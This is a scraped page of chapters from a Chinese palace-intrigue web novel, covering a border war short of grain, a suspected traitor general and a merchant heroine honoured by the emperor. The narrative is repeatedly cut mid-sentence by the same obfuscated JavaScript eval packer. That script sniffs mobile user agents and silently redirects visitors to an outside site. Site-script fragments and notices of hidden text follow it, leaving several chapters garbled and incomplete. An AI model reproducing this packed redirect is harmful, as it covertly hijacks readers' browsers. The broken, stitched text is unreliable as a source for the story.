镇国公话一落,林大将军就嗤笑道:“国公爷未免也太过杞人忧天,若是真下了雪,咱们扛不住,陈国的士兵也未必能抗的住,说不定到时就自己退了。” 这话着实不像是一个将军能说出来的话。 镇国公忍不住道:“林将军,你这说的是什么话,陈国死死把持着大越的最后一座城池不肯撒手,负隅顽抗,与我军几番胶着,怎么可能会因下雪就退了。” “那也不能大冬天的让士兵们上战场啊。”林大将军道:“国公爷你可别忘了,军中的粮食只够吃半个月的,若是朝廷再不派粮来,咱们可都要饿死了。” “与其让将士们上战场送死,还不如让他们待在营中,还能节省着些体力,多撑几日。” “反正要战你镇国军去战,我底下的士兵绝不战!哼!”林将军冷哼道。 “你!”镇国公还要再说什么,被谢南渊抬手制止了。 谢南渊眼眸沉沉地看向林将军,道:“粮草一事便不劳林将军费心了,本王已书写奏折一封快马加鞭送去京城,想必很快朝廷的粮食便会送过来。” 面对谢南渊,林大将军倒是没有摆架子,只是道:“若如王爷所言,那自是最好。” “本王还有些话要与镇国公说,林将军你先退下吧。”谢南渊道。 “是。”林将军应下,出营帐的那一刻眼底闪过一抹异色。 林将军一出营帐,镇国公便有些憋不住了,“王爷,林将军虽然说的也有些道理,但若是陈国将士粮草充足,一直与我们耗着,到时朝廷派来的粮草一直未到,恐怕我们的将士就要饿着肚子上战场,到时只怕是腹背受敌啊。” 镇国公的担忧并无道理。 自听说皇上下旨派安王调度粮草,镇国公心里便一直隐隐不安。 不是他小人之心,实在是他经过沈家的事情看清了安王的嘴脸,知晓安王温润的外表下是一个厚颜无耻,睚眦必报的小人。 原本以为安王被调离回京之后,皇上应当会另做安排,却不想会让安王调度粮草。 镇国公此刻也没有心思想远在千里之外的帝王究竟是如何想的,他只是担忧粮草会不会按时送达。 结果果不其然,军中的粮食只剩下一个多月了,朝廷的粮食还迟迟没有送来。 写折子去京城,过了好几日皇上才看到,询问安王。 对此,安王的解释是,年初的时候大越才刚刚遭遇水灾,现今粮食价格疯涨,收粮困难,需要时间去谈妥,不然只怕会多花很多冤枉银子。 并说京城运粮至边关最快需要十日,他再三保证定会在最后十五日之前将粮食从京城运出,不会误了边关战事。 之前水灾,虽有沈琼华捐出的三百万两白银,但赈灾,安置了灾民后便也不剩什么了。 再加之这场战事打得尤为持久,国库已经告急,安王这话虽然有私心的嫌疑,但话糙理不糙,恰恰拿住了皇上的命脉。 皇上再三犹豫过后,表示同意安王商讨价格,并命令他最晚最后十五日之前一定要将粮食运出。 可如今,军中的粮食只剩半月,粮草还不知有没有从京城出发,这让镇国公如何不急。 按照镇国公的想法,若是安王注定会使绊子,等不来粮草,最后会活活饿死,那不如就在这十五日内蓄力拿下最后一座城池,直接打败陈国的军队班师回朝。 任凭安王想做什么,都是白费功夫。 只是这样一来,贸然强攻,只怕要付出巨大的代价。 林大将军正是因这件事与镇国公产生了分歧。 镇国公主张强攻,林将军却觉得太过激进,想要等粮草来了再徐徐图之。 因着这件事情,二人已经吵了整整一日了。 “王爷,安王的手段咱们都清楚,咱们可不能太过被动了啊。” 谢南渊听着镇国公的话,默了默,神情在幽暗的营帐内晦暗不明。 良久,他突然出声道:“舅舅,你有没有觉着有些奇怪?” “什么?”镇国公听着这突然来的一句话有些摸不着头脑。 “为何此前几次陈国的死士偷溜进我们的军营都能成功,还有之前……” “你的意思是……”镇国公迟疑道。 谢南渊冷笑道:“说不定谢祁安早就出手了!” 第三百一十三章试试就知道了 谢南渊确实是天生的帅才,自入伍以来便很少大败仗。 然而此次到边关的第一仗,开局便是输,且输得惨烈。 输得谢南渊都不知晓为何会突然冒出那么多陈国士兵,觉得是不是自己的部署出了问题。 打败仗的当晚,谢南渊便遭到了陈国死士的刺杀。 那些死士轻而易举地便摸进了他的营帐,若不是他在军中一向警觉,便连歇息时都不曾放松警惕,定不能第一时间觉察到。 那些死士眼看自己要被抓住,立即便咬破了舌下的毒囊,顷刻间便没了性命,他未来得及留下活口。 但陈国的死士能够悄无声息,轻而易举地摸进越国主帅营帐且还不被人察觉本身就是一个问题。 于是他留了一个心眼,重新部署了边关军事分布,以及军营内的士兵巡逻分布。 分外巧合的是,在他刚刚部署完不久之后,陈国的士兵居然搞夜袭,也许是之前的胜利冲昏了他们的头脑,觉得越国的士兵不足为据。 这一次很快就被士兵发现了。 然后他紧急指挥,带领着士兵狠狠还击了回去,这一次,他夺回了大越三座城池。 这一次的胜利,愈发让他确定之前的边关军事分布图以及军营内的士兵巡逻分布被泄露了。 而后与陈国发生了几次小摩擦,胜负各半,陈国的士兵总是出现在他意想不到的地方,就好像陈国主帅穿透了他的想法一样。 他心里隐隐有些怀疑。 这怀疑更是在又经历了两次大规模的战争后到达了巅峰。 两次战争一败一胜,胜的那次是因为他临时更改了战略部署。 由此可以断定,军中必有奸细。 知晓边关军事分布图的人除了他,便是镇国公与林大将军。 自己舅舅是什么秉性,谢南渊还是清楚的,镇国公府世代镇守越国与陈国的边境,与陈国有着深仇大恨,而他自己也是镇国公一手教导出来的,自然是相信镇国公的。 那唯一的人,便就只有林大将军了。 “这其中会不会有什么误会?”镇国公蹙眉道,心中还是不愿意相信。 这实在是太荒谬了,若说是其他人是奸细他可能还会相信。 但林大将军乃是真正的行伍出身,家世也清白,世代务农,便是连疼爱的女儿也被皇上赐给了安王为妃。 这般大好的局面,他为何要这样做? 这样做被发现了岂不是毁了整个林家? 镇国公又想到了方才与林将军的争论。 林将军是真的觉得他太激进了,疼惜将士们冬日上战场还是……想着等弹尽粮绝之时,直接将他们不费吹灰之力一网打尽? 谢南渊绷着一张脸,菱角分明的面部线条变得锋利,闻言,嘴中逸出一丝冷笑。 “究竟有没有误会,试上一试不就知晓了。” 林将军帐内。 一个小兵闪了进来。 “如何了,可有听到什么?”林将军问道。 小兵恭敬摇了摇头,“并没有,王爷和镇国公谈话,营帐外的亲信都不允许其他人靠近。” “难道还真的要在冬日里开战不成?”林将军蹙眉,挥了挥手,“你先下去吧。” “是。” 小兵退下。 边关寒凉,冷风呼呼地吹着似是要将营帐给掀翻。 林将军坐在案几前,听着帐外鬼哭狼嚎的风声,嘴角勾起一抹隐晦的弧度。 —— 京城,沈家。 日星高照,月光皎洁。 下了十多日的连绵雨,今日是难得的好天气。 更深露重,万籁俱寂,一道身影悄然落于地面上未发出任何声响。 “笃笃——” 身穿黑色暗卫服的人连敲三下,直至里面响起了一道女声才开门走了进去。 关上门,暗一转身朝沈琼华躬手道:“县主。” 昏黄的烛光照映在如瓷一般细腻的面颊上,沈琼华的声音幽幽响起,“都安排妥当了?” “是,他们已经带着那些粮食上路了,日夜兼程,昼夜不歇,定会绕过朝廷的粮草,赶在那之前送到边关。”暗一神情激动道。 “那就好。”沈琼华道。 边关的战事沈琼华管不着,但京中发生的事情,沈琼华确是一个也没落,自然也听说了谢祁安的那一番推辞。 那番说辞确实是掐住了皇上的命脉,这一年又是水灾又是打仗的,朝廷确实缺银子。 若是旁人来说那些话,沈琼华可能会相信是真的需要时间收粮,但这话是谢祁安说的,那沈琼华就连一个字都不会信。 什么收粮,什么商谈价格,都是放屁! 目的就是为了拖延时间。 而且十五日这个时间掐得着实是好。 粮草最快也要十日才能到达边关。 如今是冬日,又是刮风又是下雨下雪的。 那些粮食又不能淋雨,若是碰上了雨天定是不能行路的。 路上耽搁个几日是再正常不过的事情。 到时因粮草延误了战事,谢祁安大可以把事情推到那些押运粮草的侍卫身上,将自己撇得个一干二净。 第三百一十四章独乐乐不如众乐乐 这种明晃晃的计谋,沈琼华自然不会坐以待毙。 在朝廷收到了边关要粮的折子,而谢祁安却推迟时间后,沈琼华便让裴凉川带着一部分暗卫又去较远的村子里收了一批粮食。 确保京郊庄子里的粮食够边关大军吃二十日。 但怎么运输去边关却是一个问题。 原本沈琼华将那些粮食放在庄子上,一来就是为了不引起安王**的注意,怕打草惊蛇,二来也是方便将来押运去边关。 可谁知谢祁安实在是多疑。 这段时间不仅是京城,就连去往边关的京城周边的几座城池这段时间城门守卫都严加戒备,有稍微一点大批粮食的出入都要接受严格盘查。 这些**都是粮商,自古民不与官斗,只能乖乖接受盘查,沈琼华听说连粮铺的位置亦或是要倒卖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243418|165119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给哪家的商户 ******后面还有2426个字内容被隐藏了****** ******后面还有2426个字内容被隐藏了****** loadBookInfo(34, 13206875, 314,''战神王爷夜夜来爬墙,王妃她怒了''); 第三百一十五章面见皇上 至于这第二件事,不用洛希瑶告知她,消息传回来的那一刻,沈琼华便知晓了。 不,应当是京城都知晓了。 因为皇上发了大怒。 原因便是朝廷粮草离开京城的第五日,北边下起了大雪。 雪天路滑,道路难行,原本预计十日到达,最多因天气原因延迟一两日的押运粮草的队伍停滞不前。 十日的时间过去了,竟只走了一半的路程。 若是按照这个速度,到边关起码还得再要十日,甚至因为越来越恶劣的天气,需要更多的时间。 可是边关的将士却撑不了这么久了,最多五日就要断粮。 若是边关将士断粮了,吃不饱如何有力气上战场。 万一陈国将士趁此次机会发起进攻,我军将溃不成军。 按理来说明面上安王与这件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250054|165119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情没有关系,是天气惹 ******后面还有1260个字内容被隐藏了****** ******后面还有1260个字内容被隐藏了****** loadBookInfo(34, 13206875, 315,''战神王爷夜夜来爬墙,王妃她怒了''); 第三百一十六章沈琼华是奸商? 他笑意吟吟地上前朝沈琼华道:“嘉林县主,皇上已经等候您多时了,请吧。” 李顺全笑眯眯地侧开身子。 沈琼华点点头,径直朝内殿走去。 李顺全正要跟上,身后却传来了一道声音,“李总管。” 李顺全脚步一顿,眼底划过一抹异色,转身朝谢祁安道:“安王殿下可是有何吩咐?” 谢祁安露出一抹温和的笑,道:“李总管说笑了,您是父皇的心腹,本王如何敢吩咐你,本王只是……只是有些好奇。” “如今父皇正为粮草不能及时送达而烦恼,怎么会有心情召见沈……嘉林县主?” 李顺全轻笑一声,道:“安王殿下,皇上的心思奴才怎么能知晓,奴才万不敢揣测帝心啊。” “莫说奴才不知,即便是知晓,也万万不敢往外说啊。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250055|165119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 谢祁 ******后面还有2150个字内容被隐藏了****** ******后面还有2150个字内容被隐藏了****** loadBookInfo(34, 13206875, 316,''战神王爷夜夜来爬墙,王妃她怒了''); 第三百一十七章良商 突然,空旷的大殿内发出一阵大笑声。 谢荣猛地站起身,道:“好!好一个嘉林县主!好一个沈家!” 他看向沈琼华道:“你那些粮食在哪里?” “在栗城,按照臣女之前的计划,粮草才刚刚到达栗城不久,臣女的人应当还在找铺子,粮食应当还未开始售卖。” “皇上若是觉得臣女这个方法可行,臣女回府便可飞鸽传书给在栗城的主事人,三日内便可将消息送到,即便是那是已经开始售卖了,应当也没有卖出多少。”沈琼华道。 栗城,是距离边关最近的几座城池之一。 这也是沈琼华特意挑选的城池。 从边关到栗城,一日半的时间足以来回。 “就按你说的办!”谢荣哈哈大笑道,貌似粮草的事情解决了,心情舒畅了许多。 顿了顿,他看向沈琼华道:“嘉林县主,你那批粮食多少银子,朕会让户部着人送去沈家的。” 沈琼华又不是没有脑子,哪敢从虎口夺食,她本就做好了这笔银子要搭进去的打算。 因着,她笑着婉拒道:“皇上说笑了,皇上为了国家日理万机,殚精竭虑,臣女身为国家的子民,享受了国家的庇护,为国家做些力所能及的事情是应该的,怎么还好拿银子呢。” “这些粮食就当是沈家捐给边关大军的吧,为将士们助一份力,希望将士们能够早日将陈国的士兵赶出越国境内,凯旋而归。” 沈琼华这一番话说得极为漂亮,说得谢荣的心里舒爽极了。 “好!好一个凯旋而归!都说无商不奸,朕看沈家就不一样,若是越国的商户都像沈家一样有觉悟,那我大越定然会越来越昌盛。” “嘉林县主,你此番立了大功,解了朕的燃眉之急,让朕想想该如何嘉奖你。”谢荣道。 沈琼华连连推辞,“皇上,这都是沈家应当做的,嘉奖就不用了吧?” “哎,朕向来赏罚分明,你解决了粮草的问题自然该奖赏,赏什么呢?让朕想想。”谢荣蹙着眉状似思索。 突然,他眼前一亮,提起狼毫笔在宣纸上写着什么,随后放下笔仔细端详着,露出一抹满意的笑。 喊道:“李顺全!” “奴才在!”李顺全立刻上前道。 谢荣将那张宣纸递给李顺全道:“将它制成匾额送去沈家。” 李顺全接过宣纸看见上面的字眼里闪过一抹意外,随即连忙应道:“是!奴才这就去!” 李顺全拿着宣纸走了,谢荣这才看向沈琼华道:“沈家多次解朕燃眉之急,宁可自己割利,也不压迫百姓,这份处世之道极为难得,怎么不能算得上是良商呢?” “朕亲手写下‘良商’二字赠与沈家,稍后会制成匾额送到沈家,还望沈家戒骄戒躁,保持初心。” 沈琼华听着皇上的话,心中顿感意外。 她原本只是为了那些粮食能够合理的出现在边关军营中,才会又是注册镖局,又是让那些暗卫到了栗城之后赶紧租铺子,还自己跑来皇宫献计。 并没有想得到些什么,觉着皇上最多就是赏赐些手饰布料什么的以示皇恩。 毕竟这些粮食的价值远远比不上上次的三百万两赈灾银,并不足以让皇上给她什么大的恩赏。 却没想到皇上会御赐‘良商’二字。 虽然没什么大用,却聊胜于无。 至少,下次林惜颜胆敢再在食鼎楼胡言乱语,说食鼎楼是黑店,她能拿着这御赐的‘良商’二字拍烂林惜颜的脸。 想到这,沈琼华露出一抹笑,道:“多谢皇上赏赐。” 边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15263894|165119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关粮草的事情解决了,谢荣显然再没有什么谈性,摆了摆手道:“退下吧,外头会有人带你出宫的。” “是,臣女告退。”沈琼华道,慢慢退出了内殿。 见她出来,方才给她带路的小太监立马迎了上来,“嘉林县主,奴才送您出宫。” 沈琼华点点头,“有劳公公了。” 沈琼华跟着小太监朝外走去,与谢祁安错身而过时,却被喊住了。 “沈琼华!” 雪愈发大了,谢祁安自讨苦吃,可皇上似乎没有理他的意思。 站了这许久,周贵妃还好,在廊檐下,手中还用汤婆子暖着手,谢祁安就不太好了,冻得脸上血色尽失。 沈琼华停下脚步,侧眸看向谢祁安。 谢祁安抿着干裂的唇瓣道:“你与父皇说了什么?” 方才李顺全眉开眼笑地捧着一张纸走了出来,这会儿沈琼华出来,眉目间也舒朗了不少。 谢祁安直觉发生了什么事情。 而且这件事情对于他来说应当并不算是好事。 沈琼华挑眉,“怎么,安王殿下怕我坏你好事?” 谢祁安冷哼一声,“就凭你?” “既然安王殿下不将我放在眼里,那问我做什么?”沈琼华道。 “不过安王殿下若是真想知道,我也不是不能告诉你……” 谢祁安眉间一动,不着神色朝沈琼华的方向移了移。 沈琼华立刻嫌恶地往后退了两步,捂嘴道:“哎呀,实在是不好意思,我想起来皇上事情是不能随意说的,否则若是皇上追究起来,我就是有十个脑袋也不够砍的。” “安王殿下,你若是这么想知道,不如自己去问皇上吧。” 说完,看也不看谢祁安的反应,就跟着小太监走了。 第三百一十八章该走哪一步? “你!”谢祁安双拳紧握。 竟敢戏弄他! 谢祁安面色有一瞬的扭曲。 方才谢祁安与沈琼华离得近,声音又压得低,具体说了什么站在廊檐下的周贵妃听不清,只是觉察到谢祁安的面色不太好看。 此刻便上前走到谢祁安身边压低声音问道:“你与那贱丫头说了什么?” 谢祁安脸色有些凝重,沉声道:“母妃,父皇见沈琼华肯定是发生了什么事情,我们必须弄清楚,不然会很被动。” 周贵妃蹙眉,“方才只有李顺全一个人进了内殿伺候,他一向对皇上唯命是从,想要从他嘴里问出方才在内殿的事情,只怕没有那么容易。” “即便是再难,不试试又怎么知道。”谢祁安道。 反正他绝不允许沈琼华坏了他的事! 周贵妃还想要说什么,一个小太监走了过来,恭声道:“安王殿下,周贵妃娘娘。” 谢祁安与周贵妃心中同时一动。 周贵妃迫不及待道:“嗯,皇上可是要见本宫与安王?” 小太监看了一眼周贵妃的脸色,随后低下头有些战战兢兢道:“回贵妃娘娘的话,皇上说让您与安王殿下回去,让安王殿下不要再跪在这了。” “什么?”周贵妃凤眸一厉,下意识便想要训斥小太监,随即想到这是在太极殿门口,到嘴边的话顿时就咽了回去。 只是沉着脸看小太监,语气里带着咄咄逼人的意味道:“皇上都不见一见本宫和瑞王吗?” “这……这……”小太监也觉着颇为冤枉,皇上这话显然就是不想见了。 倒是谢祁安微微一笑,表现得颇为善解人意的样子,颔首道:“本王知道了,多谢公公告知。” 小太监谦卑点了点头,而后退下。 既然皇上发话了,谢祁安自然不好再这么跪在太极殿门前,用苦肉计表明自己的歉意,证明粮草延误一事是一个意外。 谢祁安踉跄着起身,周贵妃身边的小太监连忙上前扶他。 一行人缓缓出了太极殿。 —— 就在谢祁安想着如何让李顺全透露今日内殿的事情时,沈琼华已经出了宫回到了沈府。 洛希瑶早已在沈琼华的院子里等候多时。 见沈琼华回了了,洛希瑶眼神一亮,立刻上前问道:“怎么样了?皇上同意了吗?” 这段时间因为粮草的问题,洛希瑶吃也吃不好,睡也睡不好,若不是沈琼华告知她粮草已经运到栗城了,她早就按捺不住了。 琼华说,要让这批粮食过了明路进军营,不然事后表哥不好向皇上交代。 一个有军功傍身,母家有兵权的皇子本就令人忌惮,若是再有本事神不知鬼不觉弄出大批量的粮食,别说安王,只怕是皇上都会坐不住了。 所以这批粮食必须经过沈家的手,献给皇上,还要弄成巧合的样子,且数量不能过多,才能避免留有后患。 这也是粮食运到了栗城后,暗卫没有贸然行动将粮食运去军营,而是先租铺子的原因。 一切都是在等皇上的旨意。 洛希瑶很怕,她怕皇上疑心重,没有立即同意,飞鸽传书到栗城还需要几日时间,若是再拖延下去,只怕就真的来不及了。 好在,她等来的是好消息。 迎着洛希瑶期盼的目光,沈琼华笑着点了点头。 洛希瑶顿时长舒一口气。 时间紧急,沈琼华先到书房写好信后,将其放入信鸽腿上绑着的竹筒中,然后将信鸽放飞。 其实有没有这一封信,到了沈琼华算好的时间,这批粮食都会交到瑞王手中。 若是皇上真的游移不定,那就只能先斩后奏了。 而眼下,只不过是多了一个顺理成章的流程罢了,便是这飞鸽传信,也是做给皇上看的。 沈琼华做好了一切,便出了书房,洛希瑶正在院中等着她。 “琼华,都办完了?” “嗯。”沈琼华点头。 洛希瑶露出一抹笑,随即从袖中拿出一个荷包递了过去,道:“这个给你。” 沈琼华疑惑地接过,打开一看,里面装的都是银票,看着应当有近一万两。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15263895|165119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这是……” “这是我卖了首饰换得的银票,你忘了,上回咱们说好的。”洛希瑶道。 “不……这银票我不能要。”沈琼华道,关拢荷包作势要还给洛希瑶。 这本就是她与谢南渊约定好的,会以沈家之力助他,如今拿希瑶卖首饰换得的银钱算怎么回事。 镇国公府的财政情况,沈琼华最是清楚不过,这一万两对于沈家来说不算什么,但对洛希瑶来说,应当是能拿出的所有银钱了。 洛希瑶自然不接,她笑嘻嘻道:“琼华,你不用担心我,那些首饰我都不喜欢了,卖了正好,至于我的日常装扮……我那还有许多价值不菲的首饰,都是从前爹爹立战功,宫里赏赐的。” “那些赏赐的首饰又不能卖,也不能送,戴出来又有些招摇,一直放在库房落灰,如今正好捡出来戴。” “再说了,你出钱又出力的,不也是为了帮表哥,帮我爹爹,帮军中的将士吗?我身为爹爹的女儿,又怎能袖手旁观呢。” “可是……” “琼华,你再拒绝,我就要生气了啊!就允许你帮忙,不允许我也想尽一份力吗?”洛希瑶有些愠怒地跺脚道。 话都说到这份上了,沈琼华不收也得收下了。 她无奈的叹息一声,道:“既如此,那我便收下了。” 洛希瑶见沈琼华答应了,这才笑呵呵道:“这才对嘛,不过我囊中羞涩,那荷包里并没有多少银票,比不得你花费的那些,你不要介意啊。” “怎么会。”沈琼华弯了弯唇。 “对了,琼华,你这进宫一趟也算是帮皇上解决了燃眉之急,皇上都没有赏赐你一些什么吗?”洛希瑶问道。 沈琼华笑着点了点头,凑近洛希瑶耳边低语了几句。 洛希瑶双眼一亮,双手抱胸道:“这下某个阴险小人的如意算盘要落空了,只怕明日旨意下来要被气**。” 语气中是难以掩饰的幸灾乐祸。 沈琼华轻笑。 谢祁安,如今粮草的事情已经被化解,接下来,你又该走哪一步呢? 第三百一十九章连环计? 第二日一早,一道由太极殿送往沈家的圣旨打破了朝堂上伪装的宁静。 “奉天承运,皇帝诏曰: 朕惟四民之业,商以通有无。查沈家名下产业自经营以来,货殖以诚,交易以信。先于灾难之际挺身而出赈贫济困,后于边关危难之际献出数百石粮食。此行此举,实为商贾之楷模。 特赐御书‘良商济世’匾额一方,悬于门楣,以彰风化。钦此!” 传旨的小太监还未出沈府的大门,沈家将在栗城铺子里的屯粮都捐给边关大军的消息便传得沸沸扬扬。 谁让那方从宫里抬出来的匾额实在是太扎眼了,想不知道都难。 不知各方是何反应,沈琼华送了宫里的小太监出门后,回来便看见林婉茹看着御赐的牌匾出神。 沈琼华上前扶住她,道:“阿娘怎么了?” 林婉茹似是还在云雾之中,嘴里喃喃道:“娘从未想过会有这一日。” 有了这‘良商济世’的匾额,即便是沈家依旧是商户,也没有人再敢明目张胆的欺辱沈家。 便是华姐儿以女子的身份在外行商,也没有人敢置喙。 夫君,你看到了吗? 这是皇上特意赐给沈家的匾额,是华姐儿为沈家争来的荣耀。 你耗尽心血打下来的这份家业,会在华姐儿的手中发扬光大。 “哈哈,阿姐,阿娘这是高兴傻了。” 沈逸的笑声拉回了林婉茹的思绪。 林婉茹看向沈琼华,“华姐儿,沈家这些年多亏有你撑着,辛苦你了。” 若不是有华姐儿在,只怕她和逸哥儿早就被吞吃入腹了。 “阿娘,你别这么说,咱们是一家人,阿爹惨死,我身为长女,自然要护着您和阿逸。”沈琼华道。 林婉茹拍了拍沈琼华的手,掩去眼角的泪痕。 吩咐小厮将匾额挂上。 朱红色的匾额在阳光下显得尤为熠熠生辉。 林婉茹原本嘴角带着笑,一低头,又瞧见了沈逸那乐呵呵的样子,秀眉狠狠一蹙。 “阿逸,如今你阿姐为沈家挣下了这份荣誉,你若是不好好读书考功名,将来就老老实实跟着你阿姐打理沈家的生意。” “啊——”沈逸这下笑不出来了,“阿娘,我不想……” “不想什么?你只有这两条路可以选。” “你以后若是敢瞒着我参军,便从我的尸身上跨过去,省得以后白发人送黑发人,让我百年之后没有脸面去见你阿爹。”林婉茹毫不退让道。 平时向来和善,好说话的人,在这件事情上分外执拗。 “你自己好好想想吧。”林婉茹说完,就回了自己的院子。 沈逸蔫嗒嗒地站在原地。 瞧着颇为可怜的样子。 沈琼华抿了抿唇,上前摸了摸沈逸的脑袋。 沈逸抬起头,杏仁眼看着沈琼华,“阿姐,我真的很想习武,想将来上战场建功立业。” “阿逸,这世上的许多事情,不是你想就能成的……” 沈逸低头不语。 “不过,如果你真的很想要,那就尽力去争取,阿姐会永远支持你!”沈琼华道。 沈逸沉思片刻,忽而抬起头来,道:“阿姐,我明白了,我会跟阿娘抗争到底的!” 说着也跑了。 “哎——” 沈琼华伸手去抓,却抓了个空,只能看到一个背影。 她倒也不是这个意思…… 想到一谈到习武就针尖对麦芒的母子俩,沈琼华颇感头疼地摇了摇头。 算了,由着他们去吧,今后到底如何,时间自会证明。 —— 安王府。 谢祁安一脸阴沉的坐在案几上听着下头的人汇报,随后一把将手边的茶盏朝地上掷去。 “咳咳,咳咳,沈琼华!” 谢祁安双拳紧握,脸都气红了。 谢祁安昨日在太极殿的雪地里跪了好几个时辰,晚上便发了热,直到临近天明之时才退了下来。 迷迷糊糊小憩了一会儿,起来便得到了这么一个消息。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15269717|165119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好……可真是好的很呐,这一下子就将本王的计划给搅乱了。”谢祁安咬牙道。 他就说边关缺粮沈家为何安安静静的无所作为,便连镇国公府也很是安静,原来是在这等着他。 表面上老老实实,暗地里早就准备好一批粮食运往边关。 将一切都准备好,等着他往里钻。 难怪昨日沈琼华一副有恃无恐的样子,恐怕昨日便已经与父皇商定好了。 好啊!这可真是偷鸡不成蚀把米。 沈家是他弄进京城的,如今当不成助力,反倒滋长了谢南渊的资本。 若是没有沈家的财力支撑,今日这局,谢南渊必死无疑。 如今有了这批粮食支撑,大军定能坚持到朝廷的粮草送达。 不然若是二十多日还不能将粮草送达,这也太明显了一些。 安王府的谋士们显然也没有想到会是这样一番局面,开口道:“王爷,咱们精心策划的布局不能就这么毁了,不如派人将这批粮食给……” 安王摇了摇头,神色凝重道:“时间上再派人去根本来不及,即便是来得及也不能这样做,这批粮食已经在皇上面前过了明路。” “若是没有也就罢了,有了再被人毁了,皇上定然会派人彻查,仓促之下的布局很难不露出破绽。” “再者,边关有谢南渊盯着,一旦被他抓到,岂不是主动将把柄交到了他手中。” “那难道这次就这么算了?”其中一个谋士问道。 “算了?哼!”谢祁安冷笑一声,“本王这可是一个连环计,躲得过一个,还能躲过第二个不成?” 即便是因着粮草的事情威力大打折扣,也够谢南渊**喝一壶的,说不定还能借机除了他。 呵……沈家,沈琼华,本王定要亲眼看看,到底是谁才有能力坐上那个位置。 连环计? 安王府的谋士们面面相觑。 安王与他们商讨的时候只说了拖延粮草一事,可并未说其他。 那第二计会是什么呢? 第三百二十章岂不是打了本小姐的脸? 林府。 “你说什么!” 林惜颜盯着自己的婢女,“你再说一遍!” 她的尖叫声令婢女有些发憷,却还是硬着头皮道:“小姐,嘉林县主将沈家在栗城的粮食献给了边关大军,以弥补朝廷粮草达到前的粮食空缺,皇上下旨赐给了沈家一方‘良商济世’的匾……” 婢女话还未说完,林惜颜便已将手边的茶盏砸在了婢女的头上。 “啊——”茶盏在娇嫩的肌肤上划破一道口子,顷刻间便血流如注。 婢女却顾不上这些,噗通一声跪了下来,不断朝林惜颜磕头,“小姐饶命,小姐饶命啊!” 见她这副样子,林惜颜眉头一蹙,有些嫌恶道:“废物,还不快滚出去,脏了本小姐的眼!” 婢女闻言如蒙大赦,顶着满脸的血慌乱不已地退了下去。 身旁的贴身侍女连忙上前安抚道:“小姐莫要动气,当心气坏了身子。” 林惜颜愤怒拍桌,“本小姐如何能不气,本小姐之前在食鼎楼说沈家开黑店,结果皇上现在赐匾额给沈家,说沈家是良商,这岂不是打本小姐的脸?” 之前那些在食鼎楼听见的食客如今还不得笑死她! 还有沈琼华,如今肯定也在嘲笑她! 侍女一噎,一时间有些失言。 那能怎么办,总不能去找皇上,让皇上收回成命吧? 